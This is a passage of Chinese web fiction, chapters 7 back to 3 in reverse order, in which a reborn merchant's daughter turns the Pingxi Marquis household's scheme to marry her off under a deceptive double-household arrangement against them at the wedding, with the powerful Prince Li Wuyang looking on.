只有,云筝笑眯眯的附和,“对啊,活着没被善待,死了,兄弟睡自己妻子,头顶绿油油,啧啧啧,好惨啊,死不瞑目。” 这话太毒了。 平西侯夫妻的脸色一会儿青,一会儿红,一会儿绿,精彩极了。 侯夫人强撑着开口,“自古以来,兼祧都是允许,被认可的。” 她赔着笑脸,讨好的说道,“九千岁,您能来是我们平西侯府的荣幸,还请您喝一杯喜酒再走。” 她一挥手,“来人,婚礼继续。” 平西侯一言不发,这是默许了。 云筝心里唾弃,这老狐狸永远这样,有事妻子上,恶名都由妻子担,他躲在后面掌控大局。 出了事,一句轻飘飘的无知妇孺一笔带过。 夫妻俩真是绝配。 江闻舟心不甘情不愿的上前,当着九千岁的面,怎么也不敢乱来。 叶宜蓁满心怨毒,不行,不能她一个人丢脸。 她眼珠乱转,忽然尖叫一声,“江哥哥,我不舒服,浑身疼。” 她眼睛一闭,身体倒了下去。 江闻舟扑上去一把抱住心爱的女人,见她两眼紧闭,像是没有了气息,不禁大惊失色,忧心如焚。 “蓁蓁,你不能有事,我这就带你去找大夫。” 他抱起叶宜蓁往外冲,动作之快,谁都来不及阻止。 宾客们目瞪口呆,九千岁还在呢,你们就这么跑了?不拜堂了? 云筝冷笑一声,叶宜蓁最见不得别人好。 以为这样就能让她难堪?殊不知,这般作态,瞒不过这些老狐狸的眼睛。 这对狗男女的名声彻底坏了,最关键的是,在九千岁面前耍手段,是找死。 果然,厉无恙神色冷戾,“世子儿女情长,英雄气短,不宜为官。” 平西侯夫妻如五雷轰顶,这是要绝了江闻舟入朝为官的路子。 侯府是勋贵,但没有实权的侯府,只是一个空架子,摆着好看而已,没人会尊重。 “九千岁,小儿……” 他已经将江闻舟塞进禁宫当侍卫,经常在御前走动,所得到的政治资源是世人无法想像的,只要得了皇上的青睐,就能平步青云。 这是权贵子弟的历练之路,也当作是仕途的踏板。 厉无恙薄唇微吐,凉薄至极的声音响起,“将江闻舟从禁宫侍卫名单中剔除,永不录用。” 现场一片哗然,江闻舟的仕途完了! 该,让你当情圣! 让你不打一声招呼抱着情妹妹跑路,全然没把九千岁放在眼里,该! 侯夫人眼前一黑,晕了过去。 平西侯身体晃了晃,嘶声怒吼,“去,把那个孽子拖回来,快去。” 第7章 绝杀!一招制敌! 云筝对着所有人微微一笑,慢悠悠的抚着额头,夸张的大叫,“哎哟,我头晕,站不住了,大夫,快传大夫。” 江闻舟演的假,她更假。 她很自然的走到高堂的位置坐了下来,慢条斯理的拂了拂衣袖,“我云氏女娇生惯养,身娇肉贵,一受刺激就头晕,侯府都是体面人,一定能体谅吧。” 让她跟小厮拜堂成亲?江家人真是疯了! 侯府都是体面人?这绝对是反讽,宾客们快被笑死了,有人忍不住笑出声。 侯府的脸面都被她撕下来,狠狠踩在地上碾压。 这云氏是一点都不能忍,一点亏都不肯吃,是个狠人。 侯府早知她不是善茬,但没想到她如此……肆无忌惮。 江闻舟气的浑身发抖,阴恻恻的恐吓,“云氏,你别太过分了,以后的日子是不想过了?” 云筝夸张的惊叫,“你这是威胁吗?是想要我的命?哎呀,我好怕啊。” 怕也没用,他们是不会放过她的! “请各位做个见证,我若忽然暴毙,那就……” 平西侯脸色一变,大声喝斥,“云氏,别口无遮拦,别忘了,你是云家女,你的父母家人尚在。” 云筝是死过一回的人,早就豁出去了,来啊,一起完蛋啊。 “我若忽然暴毙,另一半嫁妆就……送给九千岁,睿亲王殿下。” 绝杀!一招制敌!她的反击手段如暴风雨般猛烈。 如一道惊雷在众人头顶炸开,所有人脑袋嗡嗡作响,气氛骤然紧张。 平西侯眼前一黑,脸上血色全失,嘴唇直哆嗦。 要命!怎么把这位煞星扯进来了? 九千岁,皇上最疼爱的亲弟,本朝唯一的亲王,金尊玉贵的皇室贵胄。 最关键的是,他掌管着偌大的明镜司,明镜司是本朝最重要的情报组织,监督满朝文武百官,有缉拿审讯的权利。 可以说,权势滔天,没人敢得罪他,皇子们在他面前乖巧如猫。 秦大人迟疑了一下,“为什么是九千岁?” 云筝神色平静,嘴角微微上扬,眼中全是畅快淋漓的疯狂,“只有他能护住我的家人,不是吗?若是九千岁开恩,能查一查我的死因,那我在九泉之下也会感恩……” 你们官官相护,不会为了她一个微不足道的商贾之女得罪平西侯府。 但,九千岁本身就是顶级皇室贵胄,只有别人怕他的份。 九千岁是个讲究人,不会白拿她一半的嫁妆,不会让她枉死。 到时,侯府就将遭遇灭顶之灾。 宾客们默然了,这是一个平静的疯子,全然是玉石俱焚的打法。 不过,侯府这般羞辱她,让她难堪至此,也不能怪她拼死一搏。 这下子,侯府哪敢偷偷弄死她?甚至要供着她,哄着她,让她好好的活着。 她一死,一半的嫁妆尽归于九千岁之手,侯府苦心筹谋就付诸东流了。、 只有她活着,才是侯府的指望。 啧啧,不得不说,这是一招绝妙的棋。 平西侯脑袋一片空白,心中惊惧交加。是,他是想要谋财害命,也算尽了一切。 但,云筝的两个决定生生毁了他几年的筹谋。 不光是如意算盘落空,还吸引了皇上和九千岁的注意。 被这两人盯上,他还怎么做手脚? 难道还敢跟这两尊大佛对着干?他嫌自己活的太久吗? 侯府外,马车内响起一道微讶的声音。 “若暴毙,就将嫁妆送给本王?” 属下轻声应道,“是,主子。” 厉无恙略一沉吟,轻笑道,“她就这么笃定本王会为了银子出手?” 属下悄悄看了他一眼,“那,您会出手吗?” 厉无恙不置可否,帘子落下,他嘴角噙着一抹淡笑,“云氏女,云筝,你哪是玉石俱焚,分明是引本王入局,本王倒要看看你究竟想要做什么。” 走一步看三步,步步为营,算尽人心,云家有女如此,顶十个男儿了。 喜堂内,平西侯忽然暴起,一巴掌拍向江闻舟,啪一声,清脆的声音响彻全场。 江闻舟白皙的脸红肿,鲜红的巴掌印触目惊心。 他捂着脸,又羞又恼,“父亲。” “夫君。”侯夫人不干了。 平西侯指着儿子大声喝斥,“你这个混帐东西,瞧你干的什么破事,好好的一场婚礼被你搅的天翻地覆,还不快去跟筝儿赔个不是。” “若她不肯原谅你,我就没有你这个儿子。” 他算是看明白了,云筝是个心狠的,什么夫家的体面,什么世间规矩,什么家族荣辱,她都不在意。 她就是个不折不扣的疯子,冷静的疯子。 不过,女人最大的弱点就是情。 用情控制她! 江闻舟心里一沉,瞬间明白了父亲的意思,立马低头。 他挤出一丝笑,拱了拱手,“云筝,我错了,脑子一时发热犯了糊涂,我向你赔礼道歉,请你原谅我这一回。” 不得不说,这对父子能屈能伸,是干大事的。 云筝扬了扬眉,“这可不是第一次了,让我怎么相信你是真心道歉?” 这词都不走心,来来回回就这么两句。 江闻舟心中暗恨,但面上不露,腿一弯作势要跪,“我给你跪下。” 侯府的人脸色都变了,云筝却没有拒绝,就这么冷漠的看着。 江闻舟僵在当场,不上不下的,脸色像打翻了颜料铺,五颜六色的。 叶宜蓁适时的跳出来解围,“万万不可,云筝,江哥哥是你的夫君,你怎么能让他当众难堪?” 她总能踩着别人,凸显自己的真善美。 云筝凉凉的看着她,“这侯府什么时候轮到姓叶的做主了?难不成,侯府已经改姓叶了?” 叶宜蓁瞳孔猛缩,侯夫人眉头一皱,使了个眼色,身边的老嬷嬷上前,举起巴掌,“啪啪。” 两巴掌下去,叶宜蓁被打懵了,恼羞成怒,却不敢说什么。 侯夫人轻轻叹了一口气,“她一个破落户出身的女人就知道争风吃醋,上不了台面,云筝,你别跟她一般见识。” 云筝看在眼里,忍不住笑了,这一家人都是捧高踩低,趋炎附势之辈。 “她可是侯府长嫂,照你们侯府的规矩,我可不敢。” 叶宜蓁刚才有多得意,这会儿就有多狼狈,泪珠在眼眶打转。 江闻舟心疼坏了,再也控制不住吼了一声,“云筝,我劝你适可而止,这日子长着呢。” 云筝眨了眨眼,“又威胁我?我一害怕就会失控……” 就在此时,一道清朗的声音猛的响起,“这么热闹。” 大家齐刷刷的看向门口,随后,像是受了极大的惊恐,齐齐朝后退了几步。 平西侯瞳孔猛的收缩,额头渗出冷汗。 云筝好奇的看过去,是谁? 第6章 炸裂的婚礼 平西侯府,喜堂布置的喜气洋洋,宾客如云,但此时气氛僵滞。 平西侯世子两边各站着一位大红嫁衣的女子,神色各异。 叶宜蓁柔弱无助的看着江闻舟,楚楚可怜,江闻舟不断用眼神安抚她。 而,云筝面无表情,没有一点喜气。 主持婚礼的礼官悄悄瞥了一眼,扬声宣道,“吉时已到,拜堂……” 话还没说完,江闻舟忽然开口打断,“等一下,长幼有序,我先代长兄跟宜蓁拜堂成亲。” 他只想跟心爱的女人拜堂成亲,当着宾客的面成亲,接受世人的祝福。 至于云筝,只是他被迫接受的包袱,要不是她有几个臭钱,哪配站在他面前?! 叶宜蓁的眼睛一亮,喜气溢了出来,娇声道,“那要委屈云筝妹妹了。” 江闻舟不怀好意的看向云筝,“应该的,她是弟媳,应该事事忍让,处处以长嫂为先,这是礼仪规矩。” 这两人时时刻刻想压云筝一头,恨不得将人踩在脚底下。 他还故意逼迫,“云筝,你说呢?” 现场一片沉默,所有人都看着那个貌美如花的女子,哎,可怜。 若是云筝选择在这时候退让,那她这辈子都抬不起头,成了世人眼中的笑柄,还会被侯府的人拿捏。 一步退,步步退。 可,她退了只有死路一条。 云筝神色淡然,却说出一句大逆不道的话,“我就想知道,你代你长兄成亲,那,你睡你嫂子吗?” 语出惊人,撕开了侯府的体面,也让这对男女陷入了伦常道德的漩涡中。 全场一片哗然,嗡嗡作响。 兼祧,有两种办法,一是代兄迎娶进来当摆设,以后过继一个孩子到长房。 二是,名义上代兄迎娶,但跟夫妻无异,两人所生的孩子记在长房兄长名下。 第一种呢,更体面些。 第二种,涉及到伦常,能做,但不能摆在台面上说。 毕竟,睡名义上的长嫂,不是什么光彩的事。 偏偏,云筝堂而皇之的说了出来,不管不顾。 你们想将我踩在泥地里,那就休怪,我让你们难堪! 叶宜蓁满面羞红,又气又恼,这贱人居然还想断了自己的后路,可恶至极。 江闻舟暴跳如雷,“你粗鄙,你没有教养,你不知羞!” 云筝一脸无辜的继续追问,“睡,还是不睡?” 端庄的侯夫人忍无可忍,上前喝斥,“住口,云氏,你进了侯府的门,就得守侯府的规矩,侯府媳妇要三从四德,事事听从夫君的话,夫君是你的天,维护夫家的体面,明白了吗?” 云筝神色淡然的反问,“你谁呀?” 侯夫人的脸一僵,“我是你婆婆,平西侯府的当家主母。” 她的口碑在贵妇圈中极好,高贵,善良,宽厚,得体大气。 但,只有云筝知道,在她温婉的笑容下藏着一颗恶毒无比的心。 “哦,继夫人,去世的长公子是你的继子,叶氏是你的继子媳妇,你会让你亲儿子睡长嫂吗?会吗?” 继夫人?大家异样的眼神看过来,啊,差点忘了,她不是原配,是继妻,当年嫁进侯府好像也不怎么光彩。 侯夫人的脸绿了,这些年好不容易模糊掉她继妻的身份,却被云筝一语道破。 这一刻,她想弄死云筝的心都有了。 平西侯见妻儿都压不住云筝,面色极为不好看,“不要耽误吉时了,舟儿,你先跟叶氏拜堂。” 他是侯府的主人,说的话就是命令。 两人顿时喜上眉梢,满心的欢喜。 “一拜天地,二拜高堂,夫妻对拜。” 礼官的声音响彻全场,一对新人情意缠绵的完成了拜堂的仪式。 夫妻对拜后,相视而笑,满满是情意,眼神拉丝。 平西侯夫妻坐在高堂,含笑接受这对小夫妻的拜礼。 大家纷纷送上祝福,气氛极为喜庆和乐。 唯一不和谐的就是云筝,跟这喜乐的气氛格格不入。 这是公然打云筝的脸,是给她一个下马威,也是平西侯的态度。 面对巨大的难堪,云筝不但没有生气,反而淡然的看着,像是一个不相关的人。 叶宜蓁眼神挑衅,“弟妹,你不恭喜我吗?” 她想看到云筝伤心欲绝的模样,哈哈哈。 “恭喜。”云筝神色淡淡的,喜怒不形于色。 叶宜蓁一拳打在棉花上,心中懊恼,装吧,我看你能装到什么时候。 平西侯冲礼官使了个眼色,礼官扬声大叫,“接下来,是二房的婚礼,世子,云氏,两位请走到喜堂前,拜堂成亲。” 江闻舟站着不动,冲下人使了个眼色,“父亲,我身体不适,就让下人抱着公鸡代我成亲吧。” 现场一静,他人好好的,居然让新婚妻子跟公鸡拜堂成亲,这平西侯世子做事太绝了,连最起码的体面都不给。 叶宜蓁心中快意,嘴角疯狂上扬。 平西侯没好气的喝斥,“胡闹。” “公鸡来了,”一名长相猥琐的小厮抱着公鸡冲进来。 刚才还生龙活虎的江闻舟身体摇摇欲坠,一副快要晕过去的样子,“父亲,我站不住了,实在无法拜堂成亲。” 这戏也太假了,装的懒的装。 叶宜蓁心疼的扶着他,他掩在衣袖下的大手轻轻捏了捏她,两人交换了一个甜蜜的眼神。 侯夫人轻声细语的劝道,“夫君,舟儿最近忙着筹备婚礼,又忙着当差,身体难免不适。” 闭着眼睛说瞎话,摆明了羞辱云筝。 平西侯沉默了,这也是一种态度。 侯夫人见他默许了,心神大定,有了底气,笑吟吟的走到云筝面前,“云氏,你知书达理,一定能体谅的吧。” 刚才怎么让他们侯府难堪的,这会儿全双倍奉还! 云筝笑的腼腆极了,像极了娇羞的新嫁娘。“能,当然能。” 侯府诸人很意外,她居然这么好说话,这是认清形势了?晚了! 侯夫人眼中闪过一丝冷意,嘴上说的好听,“好,我没有挑错人,你果然是个懂事乖巧的好媳妇。” 她指着那个小厮,“铁头,你抱着公鸡走过来跟云氏拜堂。” 宾客们都有些同情云家女了,这不伦不类的,跟个小厮拜堂,名份都说不清楚,以后就难了。 哎,谁让云氏女太强势,还没有进门就让侯府难堪。 叶宜蓁嘴角轻轻上扬,满眼都是得意,跟她斗,配吗? 都不用她亲自出手,有的是人为她冲锋陷阵。 云筝眼神冷冷的看着这些人,前世他们联手害死了她,今生,还想故技重施,做梦去吧。 她发誓,今生快意恩仇,绝不委屈自己。 来吧,一起毁灭吧!让暴风雨来的更猛烈吧! 第5章 她算什么东西 云筝清亮的声音响起,“还请纪大人代我转奏皇上,云家不求名不求利,只求大齐千秋万代,江山永固,能为国出力,为君分忧是我们云家的荣幸,所以,请不用给我奖赏。” 这话高风亮节,也显出她的大格局,刷足了君王的好感,也给自己带来了好名声。 却生生毁了平西侯的如意算盘,美梦破碎。 平西侯咬碎了牙,还只能憋着,不能让别人看出他的心思,憋的胸口疼。 好一个云家女! 纪大人深深的看了云筝一眼,如此聪慧,实在不多见,可惜……是个女子。 “云小姐,您放心,我一定会转告皇上,你巾帼不让须眉,有你这样的臣民,是大齐的福份。” 如一盆冷水浇下来,浇的平西侯诸人透心惊,叶且蓁气的脸都扭曲了,那都是她的钱啊!世子说了,云筝的嫁妆一进门就全归她了,她想怎么花都行。 她已经想好用这些嫁妆收买人心,刷名望刷好感,为自己铺路。 可,云筝怎么能把她的钱捐出去?怎么敢?啊啊啊,想杀人! 江闻舟猛的瞪大眼睛,她疯了?谁允许她这么说的?她不要,他们侯府要啊,凭什么代他们侯府做决定? 她算什么东西? 云筝看了过来,“啊,世子又瞪我了,是不是舍不得呀?别这么小家子气,千金散尽还复来。” 她是一点亏都不肯吃,江闻舟怎么说她的,她立马还了回来,字字如针扎。 众人齐刷刷的看向江闻舟,江闻舟再怎么么心疼,也不得不强颜欢笑。 他咬着牙挤出一句,“我当然舍得。” 他暗暗发誓,等云筝进了门,他会使出十八般手段折磨她,定要她求生不得,求死不能,才能消了他的心口怨气。 他极力掩饰,但瞒不过在场人精们的眼睛,也瞒不过云筝的眼。 “世子刚才还说我是商贾之女,上不了台面,我好好反省了一下,确实是这样的。” 世子愣了一下,反省?她还会反省? 谁知,云筝来了一句,“所以,我想求陛下赐下两名宫中老嬷嬷,教教我规矩,让我早日融入这个圈子。陛下若愿成全,那将是民女一生中最值得炫耀的事,吾皇皇恩浩荡,恩泽天下。” 微不足道的小事换一个好名声,哪个君王会拒绝? 平西侯却看到了这番话背后的深意,不禁倒抽一口冷气。 这是交易,她捐一半嫁妆,宫中护她的安全。 步步为营,好深的心机,他第一次正视眼前的女子。 纪大人也看出来了,暗暗心惊,这云家女不可小觑啊。 “云小姐,你放心,我这就奏请皇上,我想皇上是圣明之君,一定会满足你这小小的心愿。” 对云筝来说,几百万两银子,换一条小命,值。 云筝盈盈一福,“多谢纪大人。” 她看向平西侯,微微一笑,眼神清明而又锐利。 这一局,云筝vs平西侯父子,后者完败! 不过,这仅仅是一个开始。 不远处,马车内的厉无恙看着这一幕,露出一抹似笑非笑的弧度。 云筝,大齐首富独女,聪明的不像话,她不动声色将人一步步带进她的节奏,一切都在她掌控中,在对手满怀期待时,一次次打碎他们的野望,让他们失控。 玩弄人心是一把好手。 最重要的是,她的胆识过人,居然敢以商贾之女的身份挑战勋贵的权威,跟夫家硬刚,毫不手软。 好久没见过这么有意思的人了。 随从看到他的笑容,吓了一跳,下意识的揉了揉眼睛,这是笑?没看错吧。 自家主子自从出事后,整个人变的阴郁暴躁,喜怒无常,再也没有笑过。 “殿下,时辰不早了,宫中恐怕等急了。” 厉无恙淡淡的道,“让他等。” 他?是指皇上吗?随从悄悄抹汗,不敢多说一个字,小心翼翼的退到一边。 宫中,身着龙袍的皇上时不时的看向外面,神色焦急。 “睿亲王到哪里了?” 一边随侍的大太监深知睿亲王的特殊性,睿亲王厉无恙,是先帝和太后的亲子。 先帝爱若至宝,刚出生就封为睿亲王,享亲王待遇,就算当今圣上都没有这样的待遇。 先帝去世前,将睿亲王交到圣上手里,让他发誓,要善待睿亲王。 先帝死后,五岁的睿亲王养在圣上宫中,圣上亲自抚养,两人名为兄弟,实为父子般亲厚。 成年后,几乎封无可封的睿亲王,被圣上加封为九千岁,允他一人之下,万人之上的尊崇地位。 这样的待遇让诸位皇子羡慕嫉妒恨,一个个巴着小皇叔讨好,只求父皇多看他们一眼。 “禀皇上,九千岁已经进城,半个时辰后就能入宫。” 半个时辰后还不见人影,皇上放下奏折,眉头微蹙,“去问问,睿亲王怎么还没进宫?” 大太监出去了一趟,不一会儿就把一名锦衣卫带进来。 锦衣卫负责监视官员,打探情报,消息最灵通,平西侯府发生这么热闹的事,自然传到他们的耳朵里,早就打探的一清二楚。 “禀皇上,九千岁……在看平西侯府的热闹。” 皇上有些不敢置信,睿亲王可不是爱凑热闹的主。“说说,到底发生了什么事?” 锦衣卫一板一眼陈述现场情况,皇上忍不住打断,“你是说,平西侯府没通知女方,就兼祧两房?还被未过门的儿媳妇摆了一道?” “是。” 皇上将毛笔放在笔架上,漫不经心的说道,“江振这老小子素有城府,千挑万选,挑了这么一个糟心的儿媳妇,有的他受了。” 锦衣卫迟疑了一下,小心翼翼的开口,“皇上,既然是怨偶,不如就让他们解除婚约,一别两宽,各自婚嫁。” 这锦衣卫是皇上的亲信,颇为受宠,平时也敢说两句逗趣。 他只是觉得以平西侯的作派,云家女再聪明也逃脱事后清算,年纪轻轻怪可惜的。 皇上的眼神冷了下来,神色淡漠,“三书六礼已经走完,那就是平西侯府的人,朕不能管臣子的家务事。” 这是底线,身为帝王也得守住这条底线,不可能随心所欲,否则,后患无穷。 随心所欲,那是昏君。 “继续说。” 锦衣卫无声的叹息,“云家女将一半嫁妆捐给国库,以充粮草之用,只恳求皇上赐下两名宫中老嬷嬷。” 皇上有些意外,“一半嫁妆是多少?” 锦衣卫禀道,“估计是五百万银子。” 皇上眉眼染上一丝笑,“这是想拖朕下水帮她一把,不过,看在她还算忠心的份上,就让皇后赐两名老嬷嬷下去,好歹保她几年性命。” 帝王心深不可测,谁都不敢多猜。 “是。” 正说着话,一名侍卫匆匆走进来,行礼禀道,“皇上,云家女将另一半嫁妆也捐了……” 皇上动作一顿,眼中多了一丝热切,“也捐给了国库?不错不错,朕保她不死。” 侍卫小心翼翼的开口,“是……·送给了九千岁。” 现场气氛一静,仿佛忽然凝固了。 皇上神色莫名,无人敢吭声,个个噤若寒蝉。 大太监后背发凉,连头都不敢抬,他跟了皇上几十年,对皇上那点隐秘心思猜到了几分,睿亲王他…… 好半晌,皇上喜怒不辩的声音响起,“睿亲王不是强取豪夺之人,到底怎么回事?” 侍卫神色说不出的古怪,想笑,又不敢,“不是九千岁,是刚刚拜堂成亲时,云家女又……干了一件惊天动地的事……” 第4章 既要又要,做梦! 众人异样的眼神,让江闻舟感受到了天大的耻辱,怒火疯狂燃烧。 “云筝,你这是胡搅蛮缠,像你这种浑身铜臭味的人,怎么懂得两情相悦的珍贵。” 再珍贵,也不能踩着别人的尸骨往上爬。 云筝可不会惯着他,笑眯眯的怼道,“对对对,你懂,你最懂了,一生一世一双人,这么爱为什么还要向我们云家提亲?” 答案不言而喻,既要银子又要情,什么都想要。不要脸。 “既当女表子,又要贞节牌坊,什么都想要,你以为自己是坐拥天下的皇上吗?多照照镜子,你配吗?” 江闻舟差点气晕过去。 平西侯眼前一阵发黑,他小看她了,她根本不怕死,还想拖着整个平西侯府一起死。 “云氏,你先闭嘴,这事由我做主。” 云筝挑了挑眉,跟叶宜蓁有什么好撕的?问题在平西侯父子身上,他们才是做决策的人。 那就从根子下手,直接斩断。 “那就请侯爷作主,公道自在人心,全天下的人都看着呢。” 平西侯城府极深,知道眼下最重要的是将事情压下去,其他的等事后清算。 “是媒婆弄错了,叶氏嫁的是我的长子,江闻周,云氏嫁的是我的次子,江闻舟。” 轻轻一句话,就将叶宜蓁的身份对调。 叶宜蓁浑身一颤,眼角泛起一丝泪意,可怜巴巴的看向平西侯世子。 让她嫁个死人?那怎么行,没权没势,只是一个摆设,哪有平西侯世子夫人风光体面。 江闻舟心疼坏了,他要的是名正言顺的跟表妹做夫妻。“父亲,万万不可,我不同意,表妹是我的妻。” 平西侯冷冷看了他一眼,蠢货,情势比人强。 不过,他这辈子还是第一次被一个女人逼到这种地步,可谓是颜面扫地。 “来人,去将衙门备案的婚书修正。” 婚书都是一式三份,男方一份,女方一份,衙门备份。 “是。” 平西侯亲自在叶宜蓁的婚书上,抹去次子的名字,改成了长子的名。 叶宜蓁委屈的红了眼眶,心中满满是怨气。 云筝,这个贱人,为什么要害她?为什么不能乖乖的认命?为什么不肯当她的垫脚石? 她发誓,今日的耻辱,她会百倍千倍的奉还。 云筝,你死定了! 江闻舟极力反对,但这个家还轮不到他作主,只能眼睁睁的看着一切尘埃落定,憋屈的要命。 他不敢怨恨父亲,将一腔怨恨全记在云筝头上,恶狠狠的瞪着云筝 。 面对这铺天盖地的怨恨,云筝微微一笑,对了,就是这样,恨吧,怨吧,难受吧。 平西侯做完这一切,看向礼部侍郎,“秦大人,您看如此处置,可妥当?” 秦大人在心里暗骂这老家伙很有手段,行事果断狠辣,颇有枭雄之姿。 但,他并不想得罪这位勋贵,再落魄,也是勋贵集团的一员。 “妥。” 平西侯满意的颌首致意,扬声道,“吉时已到,拜堂成亲。” 他直接下命令,“闻舟,将你的妻室和长嫂牵进去。” 只要走进这扇大门,一切都由他说了算。 云筝敢这么当众打侯府的脸,那就休怪他无情。 一帖药下去,缠绵病榻,过个几年风声过去,就让她病逝,这是他替她安排好的结局。 她是狠人,但,她忘了一点,话语权是掌握在上位者手中。 这个世道不是非黑即白,人和人之间只有利益交换,她一个商贾之女敢跟权贵作对,真是活腻味了。 试问,在场的宾客谁会冒着得罪权贵的风险,帮一个低贱的商贾之女? 没有人! 江闻舟心中极为不悦,但他不敢违背父亲的意思,勉为其难的去拉云筝。 云筝朝后退了几步,眼神微凝,“且慢。” 她太清楚一旦走进去,就没有了生路。 所以,她要放大招了。 江闻舟很不耐烦,“都如了你的意,你还想怎么样?” 云筝神色清冷如雪,环视四周,最后视线落在一位宾客身上,“您是户部侍郎纪大人?” 纪大人愣了一下,“是。” 他言简意赅,明哲保身,明显不想掺和进来。 毕竟,云家再有钱,也不过是一介商贾,士农工商,商人的地位最低。 而平西侯府是勋贵集团的一员,有权有势,他并不想得罪。 云筝像是没看出来,神色严肃,“纪大人,听闻最近边关异族又有动静,我愿将一半的嫁妆捐给朝廷,以充粮草之用。” 她从来没将希望放在别人身上,求人不如求己。 这话如石破天惊,所有人都惊了,全场一片骚动,好大的手笔,好大的气魄。 纪大人的瞳孔猛的放大,眼中有了几分热切。 谁不知云家是大齐首富,富可敌国,独女出嫁陪送了千万两嫁妆。 而,连年打仗,国库空虚,皇上和户部都愁的睡不着,云筝这送上来的银两,正好填补了这个空缺。 好,太好了。 不远处,马车内的男人眉眼微挑,黑眸更加深邃。 这就是云家的独女?凭一己之力对抗勋贵, 每一步都是精心算计,步步为营。 这一招太绝了,光明正大的将计划摆出来,明知是陷阱,却无法破解,这是顶级阳谋。 有点意思! 皇兄一定很高兴,但,也彻底将平西侯府得罪死了,她这是不想过了? 平西侯府的人就气炸了,江闻舟第一个不答应,他已经将这些嫁妆当成自己的。 “云筝,你如今是我平西侯府的人,一言一行都需要经过家中长辈的同意,你擅自作主,眼中还有长辈吗?” 嫁妆还没有进门,全府已经想好怎么刮分了,怎么能让到手的鸭子飞了? 云筝像是听到了不可思议的话,满眼的惊讶,“我父亲虽然是一介商贾,却常说,只有国家安稳,百姓们才能安居乐业,商贩才能安心做生意,他常教育我,位卑不忘忠君爱国,我片刻不敢忘。” 一句位卑不忘忠君爱国,大义凛然,让无数宾客动容。 云筝一句话就占尽了道德的高地,赢得人心,还不忘踩上平西侯府一脚。 “我就是奇怪,平西侯府是朝廷勋贵,按理说食君禄为君分忧,你府上不但不肯为君分忧,怎么还阻止别人忠君爱国?” 字字是淬了毒的暗箭,这是踩着平西侯府,为云家踱上一层金边。 这话一定会传到君王耳朵里,君王会怎么想?怎么做? 为了体面,为了教化万民,一定会褒奖捐出嫁妆的人。 换句话,云筝用一半的嫁妆,在帝王面前刷了一次脸。 别小看这一举动,足以让平西侯府不敢轻举妄动。 平西侯定定的看着云筝,像是第一次认识她,眼神复杂的无法用言语形容。 很奇怪,他打听到的云家独女是一个柔顺天真的小姑娘,好摆布。 可,看她做的事,说的话,哪里天真了?手段老练,城府颇深。 “你误会了,舟儿是提醒你一句,有事先请示一下家中长辈,这是规矩。” 平西侯已经想好对策,既然避无可避,那就调整心态,将坏事变成好事。 “我支持这一决定,我们平西侯府世代忠君爱国,天地可鉴,云氏,你如此懂事识大体,我深感欣慰,不愧是我们江家人。” 各位大人不管心里是怎么想,嘴上满口夸赞,夸平西侯府大义。 平西侯虽然心疼的滴血,但想到能博得皇上的好感和朝野各方的好口碑,那也值了。 至于云氏,人都是侯府的,她的东西自然也是侯府的,她捐钱,跟侯府捐钱有什么区别?皇上恩赐也只会赐给平西侯府。 云氏啊,还是太年轻了,到最后所做的一切为侯府做嫁衣。 纪大人很是高兴,国库有钱了,大家的日子也会好过些。 “那太好了,三日后我就带人过来接收,请侯府做好准备,侯爷,您就等着陛下的旨意吧。” 这是暗示将有褒奖,平西侯心中欢喜不已。 却不见,云筝嘴角扬起一抹意味深长的笑,怎么可能便宜了他们? “等一下,还请纪大人代我转奏皇上……” 她还有后招,让平西侯府后发悔莫及的后招! 这也是她复仇的第一步 ! 第3章 杀疯了 平西侯府所有人都变了脸色,这确实是个漏洞,但,从一开始就说替死去的长子娶亲,富可敌国的云家是绝无可能答应。 所以,一开始就是冲着正室而去的。 可是,江闻舟绝食抗争,非要娶心上人叶宜蓁,家人实在不忍心,不得已才移花接木,整这么一出。 一般来说,平西侯府势大,官官相护,只要女方不闹,谁会管这种破事? 偏偏,云筝闹了,还闹的轰轰烈烈。 叶宜蓁的表情也僵住了,满眼的不可置信。 不是说,云筝是商贾之女,出身不高,见识浅薄,好掌控好糊弄吗? 她就不怕事后清算?还是想要……毁婚? 宾客们窃窃私语,议论纷纷。 一妻多妾是允许的,兼祧两妻也不是不行,但,名义上,是替兄长娶的,婚书上的名字是兄长。 都是人精,哪里不明白,平西侯府这是骗婚啊,图人家的银子,又看不上人家。 侯府若是明说,是给死人娶妻,哪个疼爱女儿的好人家愿意啊? 云家是大齐首富,找个上门女婿,也比嫁死人强啊。 按理说,这种事情民不举官不究,还能糊弄过去。但,当事人当众提出来,将话说到这种地步,不处理的话,皇上的脸面往哪里放?朝廷的体面往哪里放? 平西侯的反应最快,大声反驳。 “没有,这绝对没有,平西侯府对皇上忠心耿耿,天地可鉴。” 云筝凉凉的开口,“嘴上表忠心,行动又是另一回事,就知道糊弄皇上……” 要命!她这张嘴太要命了!平西侯脑门嗡嗡作响,勃然大怒,“云氏,你闭嘴。” 从他锁定云家这个目标,到上门提亲,每一步都在他掌控之中,云氏女只要进了侯府的大门,就功成了。 谁知,在这最关键时,出了岔子。 他不知道云氏女如此凶残,如此……疯癫。 她到底懂不懂,一荣俱荣,一损俱损的道理?侯府若是有事,她也逃不了。 哎,出身低,就没有大格局,没有为家族牺牲的觉悟。 云筝前世被害的那么惨,怎么可能放过他们?凭什么让她一个人牺牲,成全这些狼心狗肺的家伙? 为江氏家族牺牲自己?凭什么! 她一脸同情的开口,“叶小姐,你好惨啊,好好的一个女儿家被骗婚,清白尽毁,着实可怜,我建议你告御状,请皇上为你作主,你要相信我们的君父,他公正严明,爱民如子,一定会为你作主的。” 这话里全是坑,叶宜蓁有苦难言,憋屈的要命。 本来嘛,平西侯父子算计好了一切,只等着云家落入圈套中,可,云筝冲着她来了。 她能怎么说?她一直是不染世间尘埃,清高出尘的贵女形象啊。 她左思右想,咬牙说道,“云姐姐,事情已经这样了,不如睁一只眼闭一只眼一床锦被盖过去,我们已经是侯府的媳妇,要处处以侯府为重。” 瞧瞧,在云筝的对比下,衬的她多得体,多会说话,平西侯府的人对她的好感蹭蹭的涨。 平西侯微微点头,还是她乖巧懂事,更适合当平西侯府的女主人,可惜,她太穷了,不能给侯府带来助力。 江闻舟更是爱意满满,看她的眼神温柔的快溺出来了。 云筝全看在眼里,没错,叶宜蓁就是这种人,前世占尽便宜,好处她全得了,名声和人缘都好的不行,这也是一种本事。 可这一回,她别想踩着自己往上爬。 “这么说,你事先知道的?你们叶家就这么贪图权势,连最起码的人伦和法度都不顾了?不会是穷疯了吧?对了,你们叶家给了多少嫁妆?” “我们云家陪嫁有一千六百台,价值千万两银子呢。” 